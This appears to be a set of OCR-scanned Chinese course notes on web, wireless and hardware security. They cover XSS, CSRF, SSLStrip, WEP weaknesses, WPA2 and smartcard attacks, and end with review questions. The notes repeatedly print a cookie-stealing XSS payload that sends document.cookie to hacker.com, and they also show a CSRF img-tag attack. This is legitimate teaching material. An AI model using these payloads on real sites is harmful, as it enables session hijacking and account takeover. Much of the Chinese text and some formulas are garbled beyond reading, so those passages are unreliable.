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Web &2 (Web Security)
BRI (Cross Site Scripting, XSS)

- BN BUHIARE (XSS) REEREEEBIFER HTML AARSEANMILEY, HTML =% BTE R
BPNERAI, FEIERA JavaScripto
- il
- Rig— HTML #8408 F P & MR DUE AR
<hi1>Hello ${’ user.name %}</hi>
- MR EHIZE user .name = <script>alert("LOL");</script>, MZFEH:
<h1>
Hello
<script>
alert("LOL");
</script>
</h1>
- XAJRe @I MR =AE. ERIRIes A, & ¢HAAID\’%‘&$§+EEO
- B XEEIEIFEZNENAF N SSEPRITER JavaScript, FIEESE
- GIARZIERES (W Cookie)o
- ERTEA BT HIT .
- R XSS HAT Wit AFBMANGE, BSERBEZFHRNT, TEAPKIELRS.

XSS: Cookie E5HY (Cookie Grabber)
- BB WEEBEID XSS TR X 884517 JavaScript, #HEX Cookie.
- EHRE:
document .write("<img src='http://hacker.com/collect.php?cookie=' + document.cookie + '"/>")
- BR: WEENIRSRFWEIFAF B Cookie, AIE AP H#THA I,
© 188 Cookie BEBARIETH, GIENEERWERSGZAR, HRZEARIR
PiLE XSS (Preventing XSS)
B & (XRIE <script> IREAREIT, EREHNEH, 0.

<img src="a" onerror="alert(1)" />


https://www.nite07.com/posts/computer-and-network-security/week-12/index.pdf

- IEFR% & £/ HTML ¢ (HTML Escaping).
- AFBNREFEEISERE, BEES HTML,
- RREEGAHIT HTML 3 X, fid0:
username = "<script>alert('LOL');</script>";
BXah:
<hi1>Hello &1t;script&gt;alert(&quot;LOL&quot;);&1lt;/script&gt;</h1>
- BXEH HTML (MEAXEETR, AT
- BYHS:
- &lt; /R <, &gt; T|m >

- BEEF: OWASP XSS i 725 B < 8 (XSS Filter Evasion Cheat Sheet) www.owasp.org.

BELIER & (Cross-Site Request Forgery, CSRF)

- BEUSIERME (Cross-Site Request Forgery, CSRF) 2—Fh+ X MiEAIME (exploit),
- HNNRELIEBEL HMIRIE (fg0, &@id cookie) , ERAPAHIIERES ZEHEG L IR,
CSRF EME &R %o
- BRI, RSBRINAFRNKREHD (Bbal@E cookie MIAMRRERRKDE) , BEEMHIA
EMEREZFRZHAFPEABREZHA,
-+ CSRF iEimnfl:
- {iR1% YouTube S VFRIB 10 T ENIXAF RUBEIR RS — DN SH M B Twww . youtube . com/1ike?v=0mr23196
- NMRBREBRZALEIUMSE, BRRAFTENRREMWAZMHIIEBEESR YouTube (X5287F
BIAIE cookie) YRS TiAIEX 1 HEE,
- T2, EAIUE—ME Reddit XFMICIZ EE— AT, AR E “BXRIERIE, BisFE
HEREXEXIFMN . <img src="www.youtube.com/like?v=Qmr23196" />
- BNAEEERXK ‘BR” A, 80N EESB5A src BRVEHE (BB R BTEE) KX
—MEK. RAMIIEZERT YouTube, XMEREHE LIS cookie, FIA YouTube
IRSBRINNAMBAPEIATRE, REKNMIRE 711,
- e 1EYREEREE T F RIS, Bt lREMNXNMER (R5EE) HEHATE.

P5LE CSRF (Preventing CSRF)
- Pk EEREURMIER (W HTTP POST) AANN CSRF k% (CSRF Token).
we mustincludea ‘CSRF token’ when making requests which change data

- PGB JavaScript 7 POST RPN R A AR S S AERI S s,
- SHBBETFHEIE HTML 5 Cookie £,

- BEEIR: OWASP CSRF BA#F& S H cheatsheetseries.owasp.org.

Web BZRP5 A 3E (Web Application Firewall, WAF)

-+ EX: Web BIRPAASE (WAF) 28 H10EENER, REEIRERRN, 2R, EFFELBER
o


https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Request_Forgery_Prevention_Cheat_Sheet.html

- ffl: NAXSI (Nginx Anti-XSS & SQL Injection) 5 Nginx i2&, EREREBRHEEIEK.
- BRNEEERENNE, BKREEKEFSIREIEIR,
- BREE: WAF RIEFUMIR SR, BEE XSS M SQL ANFREHRIF M,

=57 (Third Parties)

- [A)RE: Y ZMTTINESMER JavaScript (30 Google Ads. Analytics. Facebook ¥&5f), AJ&E:
- IRERAFPNIT A,
- FENKRHAREE, GEEREIR.

- B ESAMAIEMNTREE, FeEREEFIA.

HTTP 2| HTTPS BJ#HE (HTTP to HTTPS Bridge)

- 3R
1. F¥2Z&E HTTPIEK (U facebook.com),
2. IRSBEFEEE HTTPS (30 https://facebook.com),
3. MBEEREFMALL HTTPS iEK,
- EHE:
- EEAE HTTPiEK, (AR5ARS2EM HTTPS &=,
- B HTTPS $HZMEE A HTTP, HEUEEANRS.
- BRARAELES, WS ER.
- BREE XMILEFIA T ¥I8E HTTP I REVARINZ 414

SSLStrip I (SSLStrip)

- EX: SSLStrip B —FfILFIEBHIFIEAKE (Man-in-the-Middle Attack).
- H:

- FREE@id SSLStrip #%,

- B HTTPS EEAMELN HTTP, IRERFRE HTTPS §EiE,

- APAIRIEE, B@ERKREET .
. FBEE: SSLStrip FIBAFPZ HTTPS #5R2 (ANPIFZENR) MISIR,

P5{El SSLStrip (Defending against SSLStrip)

- 753 EF8 HTTP PR ERRE (HSTS, HTTP Strict Transport Security).
- RBVBRIEKER:
Strict-Transport-Security: max-age=31536000; includeSubDomains
- NS E8 MILHE LR 2R R E F R A R E1EK.
- FOUNNEL: XLTERAE HSTS FiNET IR, BEE WML,
- BEER: RFC 6797 - HSTS ietf.org,

ARLIESE 5| (Insecure Frameworks and Old Code)

- AR EEAEZRMABTEERS (W1 WordPress. PHP) A2 LR 2IERNME, BMEEMBAJREFE

o
- fil: Ruby on Rails BMINKEFR L L, FEURA (W arstechnica.com),
- BRI HEERHUESIANTENX, FEHHEEMEN.


https://www.ietf.org/rfc/rfc6797.txt
https://arstechnica.com/information-technology/2012/03/hacker-commandeers-github-to-prove-vuln-in-ruby-on-rails/

AR218% (Insecure Machines)

- [EJRE: BXRIREE (W0EBAN. BREHER. FAL) FIREMHEOE, RIMEMLE.
- ol WEEBEIRE—HR T TFih\Z Facebook #1 Google BRI,

- Egg Shell Security: SMBRATHRE, BRE—BEWREE, RZRP
- BREE: MERIERSS R EBRTRER A E AN,

Metasploit

- EX: Metasploit E—MtENZLWE, #ERAGEE. EEMRFNRICMAL (IDS, Intrusion
Detection System) &ZF & T E,
- IhiE:
- W,
- PIEANAAREN IR,
- REMERIRAN TR,
- BEFHK: docs.metasploit.com,
- %% Metasploit @5 FMIXNEBATR, BHrIREREEF A,

EERE (Wireless Security)
T kB =Y (Wireless Communications Protocols)

- EEE:

- 3G. 4G. 5G. 6G #nMmLE (CDMA2000. LTE),

- 802.11 L& LAKF (Wireless LANS),

- 802.15 T& N ABEIEM (Wireless Personal Area Networks, WPAN, 30 Bluetooth) .

- 802.16 L& % (Wireless Broadband)o

- RiFS|:802.1140E (W1802.11b. a. g. i) BEENELREHINZD.

- 802.11b: 2.4 GHz, 11 Mbps.

- 802.11a: 5 GHz, 54 Mbps.

- 802.11g: XB—NMEET a Ml b MAMARE. BIEE 2.4GHz MR (5 bHEE, LUFRIERS
%), BERTELHMNIATRA (5aM), FEEEEREIAET 54Mbps (5 atE@). ©
B ETRA 802.11b &%,

- 802.11c: Bridging (%), XHAR— LAY Wi-Fi IRZFARE, =2 IEEE 802.1D FrAR—
5, EXTURRELENAR (AP) SELUXMBITHHENRATE, MERITLIGE UM
BAREBEER— T RENABEE.

- 802.11f: Roaming, Access Point (AP) Hand Off (;2%): X## /3 AP &l (Inter-Access
Point Protocol). ©EBEMATLERIDE, BIE— 1 APEEIRE (WEICHERK) M—1
AP NEESCEZoIEISZ—1 AP WEECERY, BEWBSCIMTLEIR, RIFNEZIEZARPRT,

- 802.11i: Security / WPA2 (££), 5|\ WPA2 221l

- RE: FEWMGERTARDS, 802.11 @REMM I MLZHTE AR,

T PEIFE (Wireless Paradigm)

- BR
- TEYIEIFRIMLE (Physical access to the network is no longer required) o


https://docs.metasploit.com/

KERTEMBATFHAIBERNEL, RZERANLZIBR (Most wireless networks are inside the
firewall, No more network perimeter),

EIEEIALLIZE (WEiEAR. FH) (Most wireless networks link to insecure machines),

- MpE:

oA ESHHEER S (Passive and active attacks are easier to launch) .
HITIREMZ2HHE (Less audit trails, Less security mechanisms)
S2EAIRS T (DoS, Denial of Service),

- R TENBNAREEESZRE, TR,
War Driving

- B

BENLTHE, K 802.11 (Wi-Fi) A% : NGB TEEEREREGHNECARBRIF,
£, BRRKEEI XEM S EE 8T,

£/ GPS TEihE LSFISBIERE : IF=BohiFEH A GRFIER Wi-Fi M4, [T, FIFE
GPSIZFIER TEIMEHFERIEMUE. FSRE. MEB (SSID) UMk—RXBHN—T
BmEAX (B, BABME. EZ2FEHAT WEP. WPA2 FMNE).

¥

ii$%S (War Dialing): TEEME, ERSAREFBHKITE MMXAEMNRIESEE, UL
FHREZRETHEIEEZ LIARRAZE (Modem) , MTIEZMBIUNEBHITEN RS, XMERE
1983 FEMEEF (EFHF%) (WarGames) Ml A A,

w134 (Port Scanning): XE—MRMEZMREAR, 1ERHEERTEN LB FKRAINS G
A, UTZTEN LT T RS (OMikARS. MRS E), MMEIBENREAD.

- IA:

. Eag

Net Stumbler: —=ZHIEFHEMN. BT Windows RZH Wi-Fi 11834, SRS ZHHN
=

WEPcrack: —F A TFHfZ WEP IIZEN TE. WEP B2—HEBHEIARFARESIMES, M
ENFBHRX,

X4 (Antenna): FEASIEENERRLE GIEPIREIN 21dB), AJLUHEERNEIEIREE
B Wi-Fi 55, HEERMEMEFRR,

A 2E (Amplifier): ESHAES, AILUERESHWARET. —1 10W ASITHEIEE X,
HRZERBTIEAER,

Zic4 e (Laptop): EITIHBEMBBIFIIZ T,

Fi (Mobile phone): W%, HFEW (HEFITHRHITH “GiFF1T (War Walking)) T
2 UBA—AERFNAEEDN App K52, LLUBIHEEZ,

BMTAGR: WREKA—ORBEMBHMERSEME (W0 WEP) B Wi-Fi 4, HEHERTE
EEEX, AERARRIAGIANERE, NMHERER. EAFS. PXEREFHRER.
FIARS#1TICTEED . EE T LRSI AR Wi-Fi EERBMR, EREBNERE. RiX
RERF B TEMIAREER . XA MBVFARE, HUES EER, MEtItRISRILER Wi-Fi
EA, MARKEER A



Header Data IC

D

RC4 generated keystream

Header \Y; Encrypted payload

Packet = Header | IV | E,(Data | IC)

1: WEP

802.11b 5 WEP (Wired Equivalent Privacy)
WEP, £ BE%XN%E (Wired Equivalent Privacy), SFRHRTFRIFTLEBEMN (WLAN) &L
hil. ERNEIrTEIRESEEMEEHIIVIE 4,
- BEWNAMAHREZE—1EE (master key) £_0. XNMEHBEEMREIAFFR Wi-Fi 263, KE
79 40 fiIgg 104 {iL,
- §—1802.11 ¥iBH (packet) (F i3k header M %71 data ARN) HEBIUTARHITR
P

- — P REMRIEFER (integrity check field, IC), &I XiRLMEIBEHITREZESH. &
WEP #1, XiBE R CRC-32 %5, IC = h(header | data)

- — I RENE IR E (initialisation vector, IV), XZE— 24 IRVEE, BAFIEMNZEHN
2,

- XA (k) M MAKAE (IV) =¥ —EAXRETD RC4 BIETTREDBIEN (stream cipher mode)
TERE—TEHR (keystream) k.

k= RC4(ky, IV)

> BT RCA B—TPREEIE, CRRIERANMF (XEREEHBM V) ER—H MBI
A, B

- [Ri6%E (data) BRI T (IC) BHEE—E, ARSEMNERR « #1TRE (XOR) EZEX
FERINE. Bl 1 n EX Y data # 1¢ A,

E.(m)=m&k

> R XER n i5MZAX (plaintext) JHE, EHRRWEEN IC AR, BRARMANHITRIZE
—THBRSREZENE A, BEN, RFEARBENEARERHTRIIRERIRIIE R no



[RIE#EE data ‘ &3k header

B h &5 ko
Y
IC ‘ RC4A &
iz Ere
BHN m\
XOR &

& fRRyEdES




RC4 Stream Cipher

- WEP (Wired Equivalent Privacy) hi{iE I EREDIRI (stream cipher mode) TR RC4
HiERFIFEE (payload) H9HEH (confidentiality)

- RIXFFEALLIV (Initialization Vector, &t E) F1EZE A (master key) k) J#F (seeded)
B9 RC4 RER— TR (keystream), XNZE MG S (plaintext) #1TH%EE (XOR’ d)
L%o

- BWAREEER =) TZREMBWEIA IV (LIBE3Z (in the clear) iR &iX) RERFER
MR, ARMITELZFERSBZ X HITRRUFREEX (FHEWIKHET) :

m=c@®k=maokok

-4 9] Bl

DAL EEEH k, (Pre-shared Master Key k:)

1. EmEEFR IV (Generate V)
-
-+

2. #§% RC4 #F (Combine Seed): IV + k

>
-

3. RC4 Bt S = HF k (Generate Keystream k via RC4)

5. BEZ W ¢ #8857 IV (Send Ciphertext ¢ and cleartext V) -
6. FERIIE IV HIESH k. 5T (Combine Seed with received IV and own ka)
T
-

7. RC4 RiEEEHE k (Generate Keystream k via RC4)
—

-
It k SEERE k T2HEE (This k is identical to the sender's k)
8. BEE: m = B3 ¢ @ B k (Decrypt: m = ciphenext ¢ & k)

it
-—

E-b- 9] B

WEP X iF (Attacks on WEP)
$t%f WEP (Wired Equivalent Privacy) i, ZEEHEIFRABZENEHE:

- ET 4t 94R (statistical analysis) FI#ENIX T (Passive attacks), BT RZEERE.

- R WEERGITNESRE, BEONHES (CHRZ IVHIEEFER) NS IERmsARN
4'34}, ;f:ﬁ':'%gjiﬁbkl_gcﬂ?ﬁ}@o

- ETFEIRIEAS (tricking access point, AP) HEEhIE; (Active attacks), BTFRZEERE,

- B WEESTDEHAERFENBIERS Wi-Fi lEAR (AP), ASIRYE AP BYERZR
TR AES, MTREME.

EEhIE (Active attack), RUFRZFNAIISEHES (mobile stations) ST NFHIERE,



- BB WEERMXERIESR, EEMEGERF S, RMNSPRXERVHIER, H1THIR
EIAT 32

- BIEEEIEE (memory tradeoff attack), A LUSEHIMFRE REMN N BRILER,

- RRR . XR—MEgE, XEEAITEHEE—ERNHER (BBEXERETE), £
WEH B TR A I R Z AP EaYYE], MMSCISER %, Fluhrer, Mantin, and
Shamir (FMS) W E it E P —Fh,

- —HMEEIFGERA T (inductive chosen plaintext attack), AILUBRZERE,

- B XR—MERANESIR T, REERBFENEMEMITEFATERRN, HiBEI
ZMEBENER, —TPh (JFgtth) HSHER.

- Xt RC4 IWESAIAE R % (key scheduling algorithm, KSA) Fy% &,

- AR XMWEFIAT RC4 MBEEB BHIRITERE, RC4 HTEE—LE “S3%F”, FAXLLR
FERMBERAR TSN, SHBEXTEHRELAEBNEE, FEREETUERZ MR
HEZH,

RETORYiR)RE (Stream Cipher Problems)
WEP L2188 IR B MZ AR AN I BRBE

- £ WEP f£AR RC4 I, FEAR (keystream) (KT NEN: IV (Initialization Vector,
lafbmE) 71 EHA (master key) ko
- B L) B—KBAFREN. BENEH.

- EESMEHET (FIINARME, hot spot) , FIEAPHZR—EH4A, XE8 WEP 19
“BaFh” (RIPZIELT,
- BFEPEBEEmAL %R, RSB (5ZFHIGE, dictionary attack).
- Hib, ZERNRSETERBTF IV, EIVRE 24 {i (bit) &, XEKERERE 224 (41600
) NETAERIE.
- MEEAHMUEQERTHRN IV, BAENRSERRSHERANEER, XASHSAREA,
WHE—BHEMA AHERBERINBNE, MaiE SR EEmmTIl

- IV 2B RN, XERREETUIEMSAMEALERE &L T IV HilE (collision).

- 1RIB4ERWE (Birthday Attack) B9IE3E, WTF N = 224 METRER IV, KBTI EER
3% 5288 NMUIEE, FH 50% RUHEERILE— IV RfE,

- B%{5 8. https://en.wikipedia.org/wiki/Birthday_attack

WEP IV ZIREYERBS (WEP IV Implementation is Broken)
120 LAY R I SE t R B SCI FR TS EANFERS,
« EWMER, KZEHMAE (network cards) HAXERBENH IV E. ENHESXFH (power on) BT,
#BIG IV #D4R4E (initialise) 5 0, AEELE—TEUEEHRE IV 21 (increment) 1,
- XMHAFNRRERE T IV HETSIRERE S, BEX ESRECEKBRANEKNG, VEFIIES
E;ﬁﬁ_i@o
- EASHEED, B k) ENELNFAERF ZEIRE, Fitt, XEETUEIRFHEIRS LE
ER AR ZEN IVEHE, TIetiESMEE. BNEEA .


https://en.wikipedia.org/wiki/Birthday_attack

- BEAEGNE, 802.11 fREME, ST HRIEGIER IV EARRHER (optional)! XEKREIRE
BIMEREMR IV BT EinE, NRHERHET EXBEF,

$t34 IV BB I (A Memory Trade-off on the IV)
B ERERPE, MEEATUIEERZ 3T WEP L2 BHBAN T (known plaintext attack),

- BEPR

1. ZBXBHER: WEHE (adversary) B— WEP AR AZE—HESENASHES (Bld0, &
it B F R IR —MFEXMH) o

2. iBR IV: WHEEBIFMLE, BRIEGSZEIEENMEZLHIES, FIEREMRA IV,

3. FMEBERR: WEEEAX (plaintext) 1T (ciphertext) #1757, (XOR) 28, MMitHE
HiZ IV MR ZER (K = m D ¢).

4, BIARN: BXNZBAREHEE—NRED, HEREXMNM IV EEANRS

5. RBRFEE: YT ARNKRIBEEERER IVERIEa BN, XEETUEBENRREE
HI AR, MMEZIZEIEE,

Bh& WEP R s L

1. F=EHEN m (M)

B
L

2ERIVHk MEHAEZc=mak

-

3. HERWHEE (V. )

4 tEERT k=m&c

U

5. 72fi% (IV, k) B EEE

.. —EREEE...
6. EFEEERN IV ZEFER c=m & k
7. WEEERE (IV, )
B. NEERETL IVEHET k
9. BEFEE mM=cak
WEE WEP P TR

- —MEEFE IVHNBERNTERE, $F—MAENERR k), REFTE 1,500 FF * 2724
= 24GB MFfETIE, XN T —RENHNEERGTEIUER, ME, REEEEFFTEFHRTE
A9 1,500 =15, FIBE 500 FTRMEB T o

- AR, XTRBIORNSERR k) BKRELX,

10



WEP TEHI2EFER (Integrity Check Field)

- [al#: WEP £/ CRC-32 fEAREIEIETFE (IC), FEUTRE:
- CRC-32 BEL MR, ZHWEL:

h(m & k) = h(m) & h(k)
- IC REKHRERR ko T IV,

. (BRI
- WEEBBBCEE M AM =m @ A
- iHEHIC:
IC" =1C & h(A)
- X

=cOA=(mok)dA=m"dk
- BRFE: CRC-32 MMM EREE BB NERREE.

Header | IV c IC &k

@
A h(4)
' , Modified
Header IV c IC"' & k 802.11 packet

2: modification attack

EZiRRIR S WE (Keystream Recovery Attack)

XAOAKEHENZOBEE: —BEXRHEEFRNTEE—NMUEENERR, MR NEERS, TaehEHEN
(inject) EEFHVEIEE EIMLEH,

- WiERiR: MRKEEIE T BT WEP RIFHEIEE9BAX (plaintext), fthiiIFLA] LARMLH
ANERHIEE.

- BESRE:

1. WHEERBFR— MRS, HEXNc=m @ k, EFHEXm ZEMN (B, KEHESEIH
HRAZEE—MIEXH, AREMMEHRX N EREHNIEER) .

2. REEBIRHEEME L Z IV HEZHEHRTR (keystream): k = c © m.

3. BEWEERDIN—FHIHE m/s NFEME— TR, BHNEIEES, WEP HUEE
MMERAFXESEE, TE8E— T FTEMRIEHE (Integrity Check, IC).

4. WHENECHFEE m' HERWE: 1C’ = h(header|m’) = CRC32(header|m’).

11



5. WS IR EMINEES ¢
¢ = (m'|[IC") @ k

XER | ®REBEE (concatenation),

6. I1E, WEHEBRE T N EBERT2EUHEIES: header | IV | c'o HMEZGHFUWEIXD
8, BEERLBE N, 283 (m/|IC), #EITE ' WKRISAHES IC' w2
Lig, AtbSESXMUEEIRE.

KihE M4 (AP)

EHIFEAR k (BEIERRANBEHRT)

1. HEEE T ANTEE m
2. 1T HHE SHRGEH IC = CRC32(m)
3. BEFHAIINEREE ¢ = (mIC) @ k

«

4. BEEREIES (V. ¢)

5. REEE: (m|IC)=c¢ &k
6. JWIFFEEM: iTHECRC32(m), &AM SIC'ILE

«

ibEd, #ERhEIEIED !
W& W45 (AP)

- IRAEER: X B AR K] BT T HBEEH (checksum) AT B R T ERHZA#E (secret),CRC-
2 B—TAFHN. GHNEE, ERASTUERLSETERERRERN,

- [Ftk, BEMERF CRC-32 HFiA— 1 ERAV B RIS FEEN (one-way hash function) (301 MD5), X
MR EEATIT, RARGERFETUBITIHE MDS @),

- BEFNER: ARERA—MIETWE (WEHH L) OHEHEIESIAED (keyed MAC), iXi¥
—3k, WEEFRATIERH, ML EAMIIRERERITEHEEN MAC E,

12



¥ WEP A B9 (Attack on the WEP Authentication Protocol)
WEP B SMINEVEIREEFEEERE, TUREZ50,
- WEP AERER:
1. WEP FEQINIEMY A FIEB— M AR AMENE P inifE E55 ko
2. Bik (base station) B%E /i k%X —Mk&E (challenge) [x|h(x)].
3. EFWAEER k) MBI MUSFIEREELR: [z|h(x)] ® k, HFEHR L = RCA(IV, ky)o
4. Btz RS 2R ky ERMEN.

- A& (Problem):

- — 1 BIf#E (eavesdropper) EMER TINESTR, BRI THANXZRM “Pkiy” =
B8 “mmRz”, XMpT — X [EX? (plaintext/ciphertext pair),
- BIFE R UFI XN H TR RIS MINE, SIERERR .
- BlEENE, BRENUEZEN (replay) XMNEERIMERIREYNNLL H AR, MTTERIR
(spoofing) IAIEMY,
802.11 WEP B#Zibinl@i 245 (Problems with 802.11 WEP)

- B Ein)# (Significant problems):
- ICIHE NMiZ2— N HE AR MAC (keyed MAC), T AR —MNEHERIZH (linear checksum),
- 24 {I9NYAL A E (initialisation vectors) X/MT, H HIZREH%ERR,
- XEA k) AEXRNT (RF 40 i), HENZASENFREFE, MAEHAPIZE
- RCA BRHEE Mz B M AN EMERLNE L (BREBRKAR).
- FZiZ5|)\ Nonces (—REFEHNEY) Kt ER iR (replay issues).
- JAVEHEMY (authentication protocol) R#55, HHRBATFIMENEHANZSBFRIFNEES
ZHRF-
WEP AR 24 (WEP Insecurity)
XS HREH R ST WEP £ ER G X5 mAIMIRA MK,
- M #EtE (Confidentiality)

- {REMILRIE 10 2B ZIMERRTRERR K o
- {RFF B RIS EER A IR 7 R

- ihin)¥El (Access Control)

- EFIANBINIREIRILEES, EBREAIN.
- XIRAIRERIRE bl BB R R EBFILE

- 5EEE (Integrity)

- RFFEHIMZRER S 7 X EfgRY (modification) F1EHX (replay) K.
- A5t (Reliability)

- {REYMILE FERY B] BE4RERR (taken down) (BIIELERRSHE).

WPA/WPA2

- FEM: WPA/WPA2 (Wi-Fi Protected Access) BXf{ WEP, iR{EERMNZ S,

13



- WPA:
- {#F8 TKIP (Temporal Key Integrity Protocol) 4= Fizh7s 128 (I,
- A “Michael” B EE# CRC-32
- W SRRRWE, AFESRIEH, MEZAR, FIEESEHARP I DNS 5.
- WPA2:
- {#F CCMP (AES-based) #1TINEMZE MK E,
- &35 802.1X JAMEBRSZ 2270 EAP (Extensible Authentication Protocol),
- B8EHR WPA IEfRIRIE arstechnica.com,
- BBFE: WPA2 BEERS TR, BNEEREE.

802.1X HEJ WPA/WPA2

- EAP:
- TREMINESR (WNEE. PkiE-TEz. AHIER).
- @13 EAPOL (EAP over LAN) 7™M _E1&iE,
- R TESOAY, XEEMGEH, SEIEEMIEHE.
- REFE: 802 1XIRM T AVRIAIE, R T ML IHIIEH,

Hih TR L% (Further Approaches for Wireless Security)

- B&§E SSID: BT FER RSB EATIRFF (SSID, Service Set Identifier) S5 “fafieL2”,
- MACEiE. IPZiE: RRENZE AR,
- X4 IDS: TR A E R,
- RF {58k
- ERERXZ.
- BRI RTHER,
- PEH RF @18 B/ MESitE,
- BR XLEFEERANE, BEATEERMNE,

R e (Hardware Security)
FEFHRRIBHED (tamper resistance) I ARBRETE T ML

- BREYERD AR RSN HENTE KA =K Lo
- BEHIR—XMEIEZA (one-time pads) ENTEFHLLT4E (cellulose nitrate) £, XFpd4#LA] BURER A
150
- EEN—FEEBIES T EAT (thermite) BEREE,
P5%E24 (Tamper Resistance): (S EEIRMTE HAMIRINEIRE. XFREFN BB UL KNG ENERLE
RKENEFFRIR, HEUHICERINFRENAIBRIBURE B

FEo4"I W (Tamper Evident): #EAEEREN (FINATRIER) &, FRENGEILERTRSH
RIS E. XRIKEN—ERMLERE, BRREMRERNNYIEL PSS E TR ERAIEE,

BRNE LIS (Common Security Features)

- REMESEINE: TIENENIE R (Faraday Cage), BRKEHES, FHLEMEERE.
- IN#EEH (Encryption hardware),
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- FATF(EEE (Key memory): &E 2547 RAM (static RAM), HINERITHRSBES,
- ShBhf5EE2R (Sensors): GIEINENFEITX. HHZRKE. MRFX. BEMETLIRS.

- BULEAt (ndit) S5iESEOMERES.

- E#R2E (Alarms),

- B (Potting mix): FARE. FEBENIFENEE (epoxy resin) BEBF T, F¥EIEL
BE%,

- BiEBBE RS (Tamper sensitive barriers): FAIFEMIETHNASEMHLRE, EIEFFX
t. —BBEASEHFLERNEE, SRMMSETN, NMmitsZIRNESRE,

&R E#R (Overview of Attacks on Crypto Processors)

BITEEBEME— MR BHRHENN, AtERREMN, XMRIHEE BISF(ERIA (This assump-
tion is usually poor),
TR aEH FaRvith A

- BIAMEAREWA S . MEIBEIHEIRIRKS

« SNERILUARIIFE, (RRkER 0] LA,

- BRI LIEEIE, AEEANRESREZEEE.

- NRAFERHEIBEKNEIFRSFALE, e ‘BRI SRAM A (burned into the SRAM),

- WEEALUET A EIEST (ionizing radiation) BRETIRER “ER” RAM AR,
- WHEETTRERISERNTE (freeze memory) (Fid, 1€F-20°C) , EXMIFRT, § RAM (static
RAM) TR SN FEFERT. XML BT (Cold Boot Attack),.
- {EEMKE (Side channels): 0@ T B AIES . THFED T (power analysis) &5 U IKEX

8.
EHEE (Smartcards)
EHEE (Smartcard) E—MBE G EMITHIZS, ©ELER. AEFEMSTEOEREENGH L, Hi#
FEERFRAF,
BReFMEAIERTZ:

-+ {FZ2ER (Pay-TV)
- HJEE (Telephone cards)
- FHSIME
- SBIEITIHE (Hotel door locks)
E12EM1ER & (Debit and Credit cards)
T S S SR Sy (it

BERNEFE TR, KBELES.
TR REFRI R,
HINE LSRN AEFR o

HaeFishe
BReFEERATRNMRHSMHIIEINE EXRERFR).
HBEEEFIE:

w N e
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. 8 {AMIESE (—LE¥TRME 32 1iI ARM #2008 Java REEHiAN)

- EBITI/0 (FBIR. EE. IHAHITSIH)

+ ROM (Rix7%fiE28), BTFEBIZFEIE (49 16kB)

- EEPROM (BB AiBBRAI4mIZ R iTZ(E2R), ATEMEFRIEEIE (49 16kB)
- RAM (FENZENTZfE2S), BT EMIGEITEEIE (49 2568B)

© —MRERS, AREAFMETIIMIEREIF L.

- WNRI ZEARANIRIER S ZE MULTOS #1 JavaCard,
- NS EERE B EIEEME (contactless) B9,
- A, B2 R EEENEE RS ID R

8k (Attacks on Smartcards)

- MRS (Physical attacks on the packaging)
- BERSH LRSEIRIER. ERRE, HARHRIIEE.
- FeBERYIE (Attacks on the power supply)

- T2 thILE (Power analysis attacks): @3 MR R EFER B EREMEETERITH
EX (AASFKMISHNIESHIREFNEAERE, SBIHERE),
- 5 E 5 ThEED R (Inferential & Differential power analysis).

- FB3$paYIRE (Attacks on the clock)
- RIEERT SR, FEIELAIU—S—FHIAIT, NI USRS EERREHINFE, URERITT

HPLEHE <,

- RE&MELSE (A memory linearisation attack)

- BEWIFIECEG, FERENIESHIIT (BIM, RIRFRITUEREERNT) .
- EHRMMAE (Attacking the surface mesh)

- ERREEF RIS (Focused lon Beam Workstation, FIB), BEJLUSEFL, HRIEEEHIS
HEAF IR, MMESHTRIPME,

- ¥EII2ME (Reverse engineering attacks)

- NEWBRRTFHERMBLESRNBERME. Bl SHRERIRATAIUAMEXMGE (&
ERATREZMEN.

i5594R 2 (Emission Security)

859K L (Emission security, EMSEC) 1592 LE R G B BHAES (RS HiESNEES) M
ZE|BE,

« ZEWSIANZE TEMPEST, XZ—1EFAIE, EHEREITENMNMIMESRERIZREETIT (stray
RF)o

- HMERS RINERIEIE (optical spectrum),

1591 TE 5 (Examples of Emissions)

- EB4irPRYERIR (Crosstalk),
- FEE, BIVIR7STENREESUMERRKEEEE “BIFRIE BIA.
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- #i355i8 (sidebands) HTBELE
- g0, 11960 £, EIFHEL (MI5) EHIUEEAFEN FET, — N EEVNBEXEE—1TE
B LR,
- EH/ERHWES R (Glitching/differential fault analysis)
- BT, IR FTEREAEL RS LS, NMREUEE.

RFEHRLAILEIL (Conclusions on Hardware Security)

- REEARERERRASEEEFIERE—TERD. BREANEENSEE T2NERE “RE
WM (raising the bar)”s

- KKEEAETEASS, METRANEMSE FINBF. SEMIZENED).

- BEMEIZEREREN—MINE, MARRSRESEPE (a single point of failure),

- {EFZE$EINEEET (fault-tolerant machine code),

- I5EbEOTY RIS T ET LABRR X B E e M B ko

- LrEFABIER (fallback modes). NMEEHEMSiR7 (intruder detection and identification).
FHAEHE (counter measures),

- GFIERG—1E, BREHEBFAANE=FEHEZT (open third-party review),

A §eE Z S RHE
AJEEE &

1. EXSHEE:
. FRFEXSS. CSRF. WEP. WPA2 ZXEBAEME XFHE,
« b3 WEP 1 WPA2 HOfTR 2
2. BESBAE:
- 3R XSS 8 CSRF FYE i3 72 M B & HE
.+ 1 WEP BWEKRERBUEH T .
3. AN
.« 2R RCA RERRLTE WEP HAY[a)E,
- EREEERIEHEE R EH .
4. CRREIA:
- I&IHRALE XSS 3% CSRF B9CEE 5 B
- DOREGETHNREX KRR R,

aflE
1. o)l ftABBUAHIAT S (XSS)? #FIRAKRE A, HiRHMhEE.

- BEELE (BX): BIHARE (XSS) BREEFEE HTML 5 JavaScript FEAMIL, 7ERAF
2P HMIT, B0, HMEBEIRERAF R <script>alert ("LOL") ;</script>, SFEIFIAIT
HHHESE, Er-ENER, WEEEE Cookie:

document.write("<img src='http://hacker.com/collect.php?cookie=' + document.cookie + "'

PhiEMEEEIE -
- fEA HTML X, RBRAFBARR <> 509 e1t; Magt;o

17



- 5% OWASP XSS Fhir& =8,

- Reference Answer (English): Cross Site Scripting (XSS) occurs when an attacker injects
malicious HTML or JavaScript into a website, executed in the user’ s browser. For exam-
ple, setting a username to <script>alert ("LOL") ;</script> triggers an alert box. More
critically, attackers can steal cookies:

document.write("<img src='http://hacker.com/collect.php?cookie=' + document.cookie + '"/>
Prevention includes:

- Using HTML escaping to convert < and > to &1t; and &gt ;.
- Refer to OWASP XSS Prevention Cheat Sheet.

2. (B fi#FE WEP iR IO EFER (IC) BinlfE, HiEREEHTTE,
- BEEE (PX): WEP TEMEFEL (IC, Integrity Check) £/ CRC-32 KIH, FHEUT

)R
- CRC-32 &M, ZWESR: h(m D k) = h(m) & h(k)o
